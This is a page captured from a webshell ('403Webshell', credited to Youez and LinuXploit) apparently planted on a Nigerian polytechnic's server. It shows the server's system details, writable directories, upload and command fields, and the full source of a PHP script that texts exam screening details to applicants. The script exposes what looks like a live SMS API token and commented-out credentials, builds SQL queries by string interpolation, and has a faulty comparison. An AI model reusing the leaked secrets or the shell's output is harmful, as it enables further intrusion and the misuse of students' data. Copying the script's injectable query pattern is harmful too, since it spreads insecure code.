403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.63
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/smsSent_2.php
<?php

//$username = 'aspoa';
//$password = 'aepies12';
$count=0;
$noCount=0;
$start=0;
$end=0;

if (isset($_GET['id'])){
    $id=$_GET['id'];
}else{
    die('ID Error');
}
require_once('connect.php');
$db=db_connect();
//for($i=1;$i)
$k= "SELECT * FROM `stddata` where formNo not like '%delete%' and formNo in (select formNo from venuetb where used=0 and smsSent=0) and smsSent=0 limit 0,70";
//2010801751
$sql=$db->query($k);
$sql_num=$sql->rowCount();

while ($row=$sql->fetch(PDO::FETCH_BOTH)){
    //start echoing
//    echo "am here";
    $formNo=$row['formNo'];
    $formType=$row['level'];
    $gsm='234'.substr($row['gsm'],1);

    echo '<br>';
    //$trans=substr($phoneNumber,7);

    $sql_venue=$db->query("select * from venuetb where formNo='$formNo'");
    $sql_venue_num=$sql_venue->rowCount();
    if ($sql_venue_num>0) {
        $sql_venue_fetch = $sql_venue->fetch(PDO::FETCH_BOTH);
        $dayID = $sql_venue_fetch['examDay'];
        $venueID = $sql_venue_fetch['venue'];
        $sessionID = $sql_venue_fetch['examSession'];

        switch ($dayID) {
            case 1:
                $day = 'DAY 1 -(Tue, 22nd Feb, 2022)';
                break;
            case 2:
                $day = 'DAY 2 -(Wed, 23rd Feb, 2022)';
                break;
            case 3:
                $day = 'DAY 3 -(Thur, 24th Feb, 2022)';
                break;
            case 4:
                $day = 'DAY 4 -(Fri, 25th Feb, 2022)';
                break;
            case 5:
                $day = 'DAY 5 -(Sat, 26th Feb, 2022)';
                break;
        }

        $venueID = strtoupper($venueID);
        switch ($venueID) {
            case 'SOUTH':
                $venue = 'South Campus';
                break;
            case 'PTDF':
                $venue = 'North Campus, PTDF Center';
                break;
            case 'ONLINE':
                $venue = 'Online';
                break;
        }
        switch ($sessionID) {
            case 1:
                $sTime = '8:00am-1:00 pm';
                break;
            case 2;
                $sTime = '8:00am-1:00 pm';
                break;
            case 3:
                $sTime = '8:00am-1:00pm';
                break;
            case 4;
                $sTime = '12noon-4:00pm';
                break;
            case 5:
                $sTime = '12noon-4:00pm';
                break;
            case 6;
                $sTime = '12noon-4:00pm';
                break;
            case 7;
                $sTime = '12noon-4:00pm';
                break;
        }
        if ($venueID == 'ONLINE') {
            switch ($sessionID) {
                case 1;
                    $sTime = 'Session 1-(9:00 - 9:30am)';
                    break;
                case 2;
                    $sTime = 'Session 2-(9:40-10:10am)';
                    break;
                case 3;
                    $sTime = 'Session 3-(10:20-10:50am)';
                    break;
                case 4;
                    $sTime = 'Session 4-(11:00-11:30am)';
                    break;
                case 5;
                    $sTime = 'Session 5-(11:40-12:10pm)';
                    break;
                case 6;
                    $sTime = 'Session 6-(12:20-12:50pm)';
                    break;
                case 7;
                    $sTime = 'Session 7-(1:00-1:30pm)';
                    break;
                case 8;
                    $sTime = 'Session 8-(1:40-2:10pm)';
                    break;
                case 9;
                    $sTime = 'Session 9-(2:20-2:50pm)';
                    break;
                case 10;
                    $sTime = 'Session 10-(3:00-3:30pm)';
                    break;

            }
        }
        //finishing echoing

        $message2='<b>Screening Details:</b> Date :'.$day.', Venue: '.$venue.', Time: '.$sTime. ', Kindly Come with the REPRINTED copy of your App Form';
        // echo $message='You have been invited for an entrance Exam on '. $day .' by '.$sTime. ' @ '. $venue.' also advised to reprint your completed form and bring it along';
//        echo $row['sn'];


    }
//==========================
    $message = $message2;
    $senderid = 'FedPolyEde';
//    $to=$gsm;
    $to = $gsm;
    $token = 'DdyxDgGoJURC0W88O73e2e5Ymts6S6LlRtuWVdAhnk8oJ0WQep7sXMBBTutLdlbG6fLv3QgRitauRuUnelwjYP2DX7VurbHPe1j1';
    $baseurl = 'https://smartsmssolutions.com/api/json.php?';

    $sms_array = array
    (
        'sender' => $senderid,
        'to' => $to,
        'message' => $message,
        'type' => '0',
        'routing' => 3,
        'token' => $token
    );

    $params = http_build_query($sms_array);
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $baseurl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    echo curl_error($ch);

    curl_close($ch);

    $decoded_result = json_decode($response);
//echo "<pre>";
//var_dump($decoded_result);
//echo "</pre>";
    $codeID= $decoded_result->code; // response code
//$arrObj = json_decode($response,true);
//$dept=$arrObj['$response'][0]['code'];
//if
//    echo $codeID;
    //============================
//$get_sms = sendsms_get($username, $password, $message2, $senderid, $recipients);
    if ($codeID=1000){
        $count+=1;
        $db->query("UPDATE `venuetb` SET `smsSent` = '1' WHERE `formNo` = '$formNo'");

    }else{
        $noCount+=1;
    }
//    die();
}
echo  $count.'Messages Sent<br>';
echo $noCount. 'Message rejected';

?>

Youez - 2016 - github.com/yon3zu
LinuXploit